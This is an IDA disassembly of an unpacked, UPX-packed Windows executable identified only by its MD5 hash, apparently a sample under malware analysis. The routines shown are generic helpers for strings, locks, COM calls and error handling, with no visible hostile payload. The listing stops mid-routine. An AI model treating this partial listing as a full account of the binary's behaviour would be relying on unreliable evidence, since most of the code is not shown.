;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A97DB71FBC5C14D5E97254ADB7EB1B02

; File Name   :	u:\work\a97db71fbc5c14d5e97254adb7eb1b02_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00030000 ( 196608.)
; Section size in file		: 00030000 ( 196608.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: UPX0:004050A0p
					; sub_414C04+223p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_40101A
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_40101A
		push	eax
		call	sub_40ADC8
		pop	ecx

locret_40101A:				; CODE XREF: sub_401000+6j
					; sub_401000+11j
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40101B	proc near		; CODE XREF: sub_4015BD+51p
					; sub_401BB2+79p
		mov	edx, [ecx]
		cmp	edx, [eax]
		jnz	short loc_40103D
		mov	edx, [ecx+4]
		cmp	edx, [eax+4]
		jnz	short loc_40103D
		mov	edx, [ecx+8]
		cmp	edx, [eax+8]
		jnz	short loc_40103D
		mov	ecx, [ecx+0Ch]
		cmp	ecx, [eax+0Ch]
		jnz	short loc_40103D
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40103D:				; CODE XREF: sub_40101B+4j
					; sub_40101B+Cj ...
		xor	eax, eax
		retn
sub_40101B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401040	proc near		; CODE XREF: sub_401304+67p

var_1D		= byte ptr -1Dh
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_4270D0
		call	__SEH_prolog4_GS
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1D], 1
		and	[ebp+ms_exc.disabled], 0
		or	ecx, 0FFFFFFFFh
		sub	ecx, eax
		cmp	ecx, 2000h
		jb	short loc_401073
		add	eax, 2000h
		call	sub_4160F0
		mov	[ebp+ms_exc.old_esp], esp
		jmp	short loc_401099
; ---------------------------------------------------------------------------


loc_401073:				; CODE XREF: sub_401040+22j
		mov	[ebp+var_1D], 0
		jmp	short loc_401099
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C00000FDh
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+var_1D], 0
		call	sub_40AF6F


loc_401099:				; CODE XREF: sub_401040+31j
					; sub_401040+37j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	al, [ebp+var_1D]
		lea	esp, [ebp-30h]
		call	__SEH_epilog4_GS
		retn
sub_401040	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AC	proc near		; CODE XREF: sub_403138+81p
					; sub_4089CE+12Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		call	dword_41D1F0	; lstrlenW
		lea	eax, [eax+eax+2]
		push	eax
		push	[esp+4+arg_8]
		mov	eax, [esp+8+arg_4]
		add	eax, eax
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_40B376
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_4010AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4010D8	proc near		; CODE XREF: sub_4010F0:loc_401111p
					; sub_4011E3+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		push	offset dword_426D98
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_4010D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4010F0	proc near		; CODE XREF: sub_401125+16p
					; sub_4080FF+109p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_401124
		cmp	eax, 0Ch
		jz	short loc_40111D
		cmp	eax, 16h
		jz	short loc_401116
		cmp	eax, 22h
		jz	short loc_401116
		cmp	eax, 50h
		jz	short loc_401124
		push	80004005h


loc_401111:				; CODE XREF: sub_4010F0+2Bj
					; sub_4010F0+32j
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_401116:				; CODE XREF: sub_4010F0+10j
					; sub_4010F0+15j
		push	80070057h
		jmp	short loc_401111
; ---------------------------------------------------------------------------


loc_40111D:				; CODE XREF: sub_4010F0+Bj
		push	8007000Eh
		jmp	short loc_401111
; ---------------------------------------------------------------------------


loc_401124:				; CODE XREF: sub_4010F0+6j
					; sub_4010F0+1Aj
		retn
sub_4010F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401125	proc near		; CODE XREF: sub_401260+5Ap
					; sub_401260+73p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40B376
		push	eax
		call	sub_4010F0
sub_401125	endp

; ---------------------------------------------------------------------------
		add	esp, 14h
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401144	proc near		; CODE XREF: sub_40A94B+2Dp
					; sub_40A9EC+6p ...
		push	edi
		mov	edx, ecx
		push	6
		pop	ecx
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, edx
		pop	edi
		retn
sub_401144	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401154	proc near		; CODE XREF: sub_4069AB+5Fp
					; sub_406A3F+5Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_4270B0
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		push	ecx
		call	dword_41D20C	; InitializeCriticalSection
		and	[ebp+var_1C], 0
		jmp	short loc_40118F
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+var_1C], 8007000Eh


loc_40118F:				; CODE XREF: sub_401154+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================



sub_40119F	proc near		; CODE XREF: sub_40366A:loc_403755p
					; sub_4078AB+63p ...
		call	dword_41D1D8	; RtlGetLastWin32Error
		test	eax, eax
		jle	short locret_4011B3
		and	eax, 0FFFFh
		or	eax, 80070000h

locret_4011B3:				; CODE XREF: sub_40119F+8j
		retn
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011B4	proc near		; CODE XREF: sub_401E45+11p
					; UPX0:00402B2Dp ...
		test	esi, esi
		jnz	short loc_4011BB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4011BB:				; CODE XREF: sub_4011B4+2j
		test	edi, edi
		jz	short loc_4011C5
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_4011C5:				; CODE XREF: sub_4011B4+9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4011D1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4011D1:				; CODE XREF: sub_4011B4+15j
		mov	[esi], edi
		mov	eax, edi
		retn
sub_4011B4	endp

; ---------------------------------------------------------------------------


loc_4011D6:				; CODE XREF: UPX0:0041BF10j
					; UPX0:0041BF33j ...
		mov	eax, [eax]
		test	eax, eax
		jz	short locret_4011E2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_4011E2:				; CODE XREF: UPX0:004011DAj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4011E3	proc near		; CODE XREF: sub_403293+3Ap
					; sub_404675+3Ep ...

arg_0		= dword	ptr  4

		cmp	[esp+arg_0], 0
		jnz	short loc_4011F2
		and	dword ptr [esi], 0


loc_4011ED:				; CODE XREF: sub_4011E3+1Dj
		mov	eax, esi
		retn	4
; ---------------------------------------------------------------------------


loc_4011F2:				; CODE XREF: sub_4011E3+5j
		push	[esp+arg_0]
		call	dword_41D234
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_4011ED
		push	8007000Eh
		call	sub_4010D8
sub_4011E3	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40120D	proc near		; CODE XREF: sub_4030E7+1Dp

var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	40h
		lea	ecx, [ebp+var_84]
		push	ecx
		push	eax
		call	dword_41D3AC
		lea	eax, [ebp+var_84]
		push	eax
		call	dword_41D234
		mov	[esi], eax
		test	eax, eax
		jnz	short loc_401250
		push	8007000Eh
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_401250:				; CODE XREF: sub_40120D+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_40AC1C
		leave
		retn	4
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401260	proc near		; CODE XREF: sub_41889D+E7p
					; sub_41889D+F9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_0], esi
		jz	short loc_4012EB
		mov	eax, [edi]
		cmp	eax, esi
		jz	short loc_401278
		cmp	[ebp+arg_4], esi
		jz	short loc_4012EB


loc_401278:				; CODE XREF: sub_401260+11j
		push	eax
		call	dword_41D238
		mov	ecx, [ebp+arg_4]
		lea	ebx, [eax+ecx]
		cmp	ebx, eax
		mov	[ebp+var_4], eax
		jge	short loc_401293


loc_40128C:				; CODE XREF: sub_401260+3Fj
		mov	eax, 8007000Eh
		jmp	short loc_4012ED
; ---------------------------------------------------------------------------


loc_401293:				; CODE XREF: sub_401260+2Aj
		push	ebx
		push	esi
		call	dword_41D250
		mov	esi, eax
		test	esi, esi
		jz	short loc_40128C
		push	dword ptr [edi]
		call	dword_41D238
		test	eax, eax
		jbe	short loc_4012C2
		mov	eax, [ebp+var_4]
		add	eax, eax
		push	eax
		push	dword ptr [edi]
		lea	eax, [ebx+ebx]
		push	eax
		push	esi
		call	sub_401125
; ---------------------------------------------------------------------------
		add	esp, 10h


loc_4012C2:				; CODE XREF: sub_401260+4Bj
		mov	eax, [ebp+arg_4]
		add	eax, eax
		push	eax
		push	[ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		xor	eax, eax
		add	esp, 10h
		mov	[esi+ebx*2], ax
		push	dword ptr [edi]
		call	dword_41D25C
		mov	[edi], esi


loc_4012EB:				; CODE XREF: sub_401260+Bj
					; sub_401260+16j
		xor	eax, eax


loc_4012ED:				; CODE XREF: sub_401260+31j
		pop	esi
		pop	ebx
		leave
		retn	8
sub_401260	endp

; ---------------------------------------------------------------------------


loc_4012F3:				; CODE XREF: UPX0:0041BFFCj
					; UPX0:0041C0B2j ...
		push	dword ptr [eax]
		call	dword_41D25C
		retn
; ---------------------------------------------------------------------------


loc_4012FC:				; CODE XREF: UPX0:0041C081j
		push	ecx
		call	dword_41D23C
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401304	proc near		; CODE XREF: sub_4186D9+167p
		push	14h
		mov	eax, offset loc_41C247
		call	sub_40C4D6
		call	off_42A000
		xor	ebx, ebx
		mov	[ebp-18h], eax
		mov	[ebp-14h], ebx
		mov	esi, [ebp+8]
		push	esi
		mov	[ebp-4], ebx
		call	dword_41D23C
		push	8
		pop	eax
		mov	[esi], ax
		cmp	[ebp+0Ch], ebx
		jz	loc_4013D2
		push	dword ptr [ebp+0Ch]
		call	dword_41D1D4	; lstrlenA
		push	ebx
		inc	eax
		cdq
		push	2
		push	edx
		push	eax
		call	sub_414560
		mov	edi, eax
		add	eax, 80000000h
		adc	edx, ebx
		mov	[ebp-1Ch], edx
		jnz	short loc_4013D2
		cmp	eax, 0FFFFFFFFh
		ja	short loc_4013D2
		cmp	edi, 400h
		jg	short loc_401380
		push	edi
		call	sub_401040
		pop	ecx
		test	al, al
		jz	short loc_401380
		mov	eax, edi
		call	sub_4160F0
		mov	esi, esp
		jmp	short loc_4013A0
; ---------------------------------------------------------------------------


loc_401380:				; CODE XREF: sub_401304+64j
					; sub_401304+6Fj
		or	eax, 0FFFFFFFFh
		sub	eax, edi
		cmp	eax, 8
		jb	short loc_4013C5
		lea	eax, [edi+8]
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, ebx
		jz	short loc_4013D2
		mov	[eax], ebx
		mov	[ebp-14h], eax
		lea	esi, [eax+8]


loc_4013A0:				; CODE XREF: sub_401304+7Aj
		cmp	esi, ebx
		jz	short loc_4013CF
		push	edi
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [ebp+0Ch]
		xor	eax, eax
		push	ebx
		push	dword ptr [ebp-18h]
		mov	[esi], ax
		call	dword_41D1F4	; MultiByteToWideChar
		neg	eax
		sbb	eax, eax
		and	eax, esi
		mov	esi, [ebp+8]
		jmp	short loc_4013D4
; ---------------------------------------------------------------------------


loc_4013C5:				; CODE XREF: sub_401304+84j
		push	80070057h


loc_4013CA:				; CODE XREF: sub_401304+F2j
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_4013CF:				; CODE XREF: sub_401304+9Ej
		mov	esi, [ebp+8]


loc_4013D2:				; CODE XREF: sub_401304+30j
					; sub_401304+57j ...
		xor	eax, eax


loc_4013D4:				; CODE XREF: sub_401304+BFj
		push	eax
		call	dword_41D234
		mov	[esi+8], eax
		cmp	eax, ebx
		jnz	short loc_4013F8
		cmp	[ebp+0Ch], ebx
		jz	short loc_4013F8
		push	0Ah
		pop	eax
		mov	[esi], ax
		mov	eax, 8007000Eh
		mov	[esi+8], eax
		push	eax
		jmp	short loc_4013CA
; ---------------------------------------------------------------------------


loc_4013F8:				; CODE XREF: sub_401304+DCj
					; sub_401304+E1j
		cmp	[ebp-14h], ebx
		jz	short loc_401410


loc_4013FD:				; CODE XREF: sub_401304+10Aj
		mov	eax, [ebp-14h]
		mov	edi, [eax]
		push	eax
		mov	[ebp-14h], edi
		call	sub_40ADC8
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_4013FD


loc_401410:				; CODE XREF: sub_401304+F7j
		mov	eax, esi
		lea	esp, [ebp-30h]
		call	sub_40C520
		retn	8
sub_401304	endp


; =============== S U B	R O U T	I N E =======================================



sub_40141D	proc near		; CODE XREF: sub_4015BD+23p
					; sub_4058EE+1Ap
		cmp	dword ptr [eax], 0
		jnz	short loc_40143E
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40143E
		cmp	dword ptr [eax+8], 0C0h
		jnz	short loc_40143E
		cmp	dword ptr [eax+0Ch], 46000000h
		jnz	short loc_40143E
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_40143E:				; CODE XREF: sub_40141D+3j
					; sub_40141D+9j ...
		xor	eax, eax
		retn
sub_40141D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401441	proc near		; CODE XREF: sub_40691F+2Dp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		test	esi, esi
		jz	short loc_401484
		test	eax, eax
		jz	short loc_401484
		mov	[esi], eax
		call	dword_41D1C4	; GetCurrentThreadId
		mov	[esi+4], eax
		mov	eax, offset dword_42E38C
		push	eax
		mov	[ebp+var_8], eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	eax, dword_42E3A4
		mov	[esi+8], eax
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_4], 1
		mov	dword_42E3A4, esi
		call	sub_4066D7
		leave
		retn
; ---------------------------------------------------------------------------


loc_401484:				; CODE XREF: sub_401441+7j
					; sub_401441+Bj
		push	0
		push	0
		push	1
		push	0C0000005h
		call	dword_41D1DC	; RaiseException
		int	3		; Trap to Debugger
sub_401441	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401496	proc near		; CODE XREF: sub_417A85+C5p
		push	esi
		mov	esi, eax
		push	edi
		test	esi, esi
		jz	short loc_4014CC
		mov	edi, dword_41D31C


loc_4014A4:				; CODE XREF: sub_401496+34j
		cmp	word ptr [esi],	0
		jz	short loc_4014CC
		mov	eax, offset asc_423A00 ; ":"


loc_4014AF:				; CODE XREF: sub_401496+2Bj
		movzx	ecx, word ptr [eax]
		test	cx, cx
		jz	short loc_4014C3
		cmp	[esi], cx
		jz	short loc_4014D1
		push	eax
		call	edi ; dword_41D31C
		test	eax, eax
		jnz	short loc_4014AF


loc_4014C3:				; CODE XREF: sub_401496+1Fj
		push	esi
		call	edi ; dword_41D31C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4014A4


loc_4014CC:				; CODE XREF: sub_401496+6j
					; sub_401496+12j
		xor	eax, eax


loc_4014CE:				; CODE XREF: sub_401496+3Ej
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4014D1:				; CODE XREF: sub_401496+24j
		push	esi
		call	edi ; dword_41D31C
		jmp	short loc_4014CE
sub_401496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014D6	proc near		; CODE XREF: UPX0:00402CADp
					; sub_41889D+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		test	eax, eax
		jnz	short loc_4014E6
		mov	eax, 80070057h
		jmp	short locret_401547
; ---------------------------------------------------------------------------


loc_4014E6:				; CODE XREF: sub_4014D6+7j
		mov	ecx, [eax]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_424294
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_40152A
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_40152A
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		mov	esi, eax


loc_40152A:				; CODE XREF: sub_4014D6+2Bj
					; sub_4014D6+41j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_401537
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401537:				; CODE XREF: sub_4014D6+59j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_401544
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401544:				; CODE XREF: sub_4014D6+66j
		mov	eax, esi
		pop	esi

locret_401547:				; CODE XREF: sub_4014D6+Ej
		leave
		retn	0Ch
sub_4014D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40154B	proc near		; CODE XREF: sub_4024D9+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		test	eax, eax
		jnz	short loc_40155B
		mov	eax, 80070057h
		jmp	short locret_4015B9
; ---------------------------------------------------------------------------


loc_40155B:				; CODE XREF: sub_40154B+7j
		mov	ecx, [eax]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_424294
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_40159C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_40159C
		mov	eax, [ebp+var_4]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	esi, eax


loc_40159C:				; CODE XREF: sub_40154B+2Bj
					; sub_40154B+41j
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_4015A9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4015A9:				; CODE XREF: sub_40154B+56j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_4015B6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4015B6:				; CODE XREF: sub_40154B+63j
		mov	eax, esi
		pop	esi

locret_4015B9:				; CODE XREF: sub_40154B+Ej
		leave
		retn	8
sub_40154B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015BD	proc near		; CODE XREF: sub_404F0D+16p
					; sub_404FB1+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	esi
		push	edi
		mov	esi, eax
		jz	short loc_401647
		test	esi, esi
		jz	short loc_401647
		test	ebx, ebx
		jnz	short loc_4015DA
		mov	eax, 80004003h
		jmp	short loc_40164C
; ---------------------------------------------------------------------------


loc_4015DA:				; CODE XREF: sub_4015BD+14j
		mov	eax, [ebp+arg_4]
		and	dword ptr [ebx], 0
		call	sub_40141D
		test	eax, eax
		jz	short loc_401639


loc_4015E9:				; CODE XREF: sub_4015BD+5Dj
		mov	esi, [esi+4]
		add	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebx], esi
		xor	eax, eax
		jmp	short loc_40164C
; ---------------------------------------------------------------------------


loc_4015FB:				; CODE XREF: sub_4015BD+81j
		mov	ecx, [esi]
		xor	eax, eax
		test	ecx, ecx
		setz	al
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_401617
		mov	eax, [ebp+arg_4]
		call	sub_40101B
		test	eax, eax
		jz	short loc_401636


loc_401617:				; CODE XREF: sub_4015BD+4Cj
		cmp	edi, 1
		jz	short loc_4015E9
		push	dword ptr [esi+4]
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	edi	; CharNextW
		test	eax, eax
		jz	short loc_40164C
		cmp	[ebp+var_4], 0
		jnz	short loc_401636
		test	eax, eax
		jl	short loc_40164C


loc_401636:				; CODE XREF: sub_4015BD+58j
					; sub_4015BD+73j
		add	esi, 0Ch


loc_401639:				; CODE XREF: sub_4015BD+2Aj
		mov	edi, [esi+8]
		test	edi, edi
		jnz	short loc_4015FB
		mov	eax, 80004002h
		jmp	short loc_40164C
; ---------------------------------------------------------------------------


loc_401647:				; CODE XREF: sub_4015BD+Cj
					; sub_4015BD+10j
		mov	eax, 80070057h


loc_40164C:				; CODE XREF: sub_4015BD+1Bj
					; sub_4015BD+3Cj ...
		pop	edi
		pop	esi
		leave
		retn	8
sub_4015BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401652	proc near		; CODE XREF: sub_401BB2+175p
		push	0Ch
		mov	eax, offset loc_41C224
		call	sub_40C4A0
		mov	edi, [ebp+8]
		test	edi, edi
		jnz	short loc_40166C
		mov	eax, 80070057h
		jmp	short loc_4016CA
; ---------------------------------------------------------------------------


loc_40166C:				; CODE XREF: sub_401652+11j
		and	dword ptr [ebp-14h], 0
		and	dword ptr [ebp-4], 0
		push	0Ch
		call	sub_40B45F
		pop	ecx
		mov	esi, eax
		jmp	short loc_40168C
; ---------------------------------------------------------------------------


loc_401680:				; DATA XREF: UPX0:0042737Co
		mov	eax, offset loc_401686
		retn
; ---------------------------------------------------------------------------


loc_401686:				; DATA XREF: sub_401652:loc_401680o
		mov	edi, [ebp+8]
		mov	esi, [ebp-14h]


loc_40168C:				; CODE XREF: sub_401652+2Cj
		test	esi, esi
		jnz	short loc_401697
		mov	ebx, 8007000Eh
		jmp	short loc_4016C8
; ---------------------------------------------------------------------------


loc_401697:				; CODE XREF: sub_401652+3Cj
		lea	eax, [edi+0Ch]
		push	eax
		mov	dword ptr [esi], offset	sub_401B6E
		mov	dword ptr [esi+4], offset off_42DEA4
		mov	[ebp-18h], eax
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	eax, [edi+8]
		mov	[esi+8], eax
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-14h], 1
		xor	ebx, ebx
		mov	[edi+8], esi
		call	sub_4066D7


loc_4016C8:				; CODE XREF: sub_401652+43j
		mov	eax, ebx


loc_4016CA:				; CODE XREF: sub_401652+18j
		call	sub_40C50C
		retn	4
sub_401652	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3ECh


sub_4016D2	proc near		; CODE XREF: sub_418266+169p

var_410		= byte ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= word ptr -400h
var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F0		= dword	ptr -3F0h
var_3EC		= byte ptr -3ECh
var_4		= dword	ptr -4

		push	ebp
		sub	esp, 3E8h
		lea	ebp, [esp-4]
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+3ECh+var_4], eax
		push	18h
		mov	eax, offset loc_41C345
		call	sub_40C46D
		mov	eax, [ebp+3F4h]
		xor	ebx, ebx
		mov	esi, ecx
		mov	[ebp+3ECh+var_40C], eax
		mov	[eax], ebx
		cmp	esi, ebx
		jz	loc_401842
		mov	eax, [esi]
		lea	ecx, [ebp+3ECh+var_404]
		push	ecx
		push	2
		lea	ecx, [ebp+3ECh+var_400]
		push	ecx
		push	esi
		call	dword ptr [eax+0Ch]
		cmp	eax, ebx
		jl	loc_401844
		mov	eax, [esi]
		lea	ecx, [ebp+3ECh+var_404]
		push	ecx
		push	4
		lea	ecx, [ebp+3ECh+var_410]
		push	ecx
		push	esi
		call	dword ptr [eax+0Ch]
		cmp	eax, ebx
		jl	loc_401844
		mov	eax, [esi]
		lea	ecx, [ebp+3ECh+var_404]
		push	ecx
		push	4
		lea	ecx, [ebp+3ECh+var_408]
		push	ecx
		push	esi
		call	dword ptr [eax+0Ch]
		cmp	eax, ebx
		jl	loc_401844
		cmp	[ebp+3ECh+var_408], ebx
		jbe	loc_4017DE
		jnz	short loc_401786
		xor	edi, edi
		mov	[ebp+3ECh+var_3FC], edi


loc_401765:				; CODE XREF: sub_4016D2+C5j
		push	edi
		mov	[ebp+3ECh+var_3F0], ebx
		call	dword_41D238
		test	eax, eax
		jnz	short loc_4017A3
		mov	esi, 8007000Eh


loc_401778:				; CODE XREF: sub_4016D2+FAj
		push	edi
		call	dword_41D25C
		mov	eax, esi
		jmp	loc_401844
; ---------------------------------------------------------------------------


loc_401786:				; CODE XREF: sub_4016D2+8Cj
		push	[ebp+3ECh+var_408]
		push	ebx
		call	dword_41D250
		mov	edi, eax
		mov	[ebp+3ECh+var_3FC], edi
		cmp	edi, ebx
		jnz	short loc_401765
		push	8007000Eh
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_4017A3:				; CODE XREF: sub_4016D2+9Fj
		mov	eax, [ebp+3ECh+var_408]
		lea	eax, [eax+eax+2]
		push	eax
		push	ebx
		push	edi
		call	sub_40BD40
		mov	eax, [esi]
		add	esp, 0Ch
		lea	ecx, [ebp+3ECh+var_404]
		push	ecx
		mov	ecx, [ebp+3ECh+var_408]
		add	ecx, ecx
		push	ecx
		push	edi
		push	esi
		call	dword ptr [eax+0Ch]
		cmp	eax, ebx
		jge	short loc_4017CE
		mov	esi, eax
		jmp	short loc_401778
; ---------------------------------------------------------------------------


loc_4017CE:				; CODE XREF: sub_4016D2+F6j
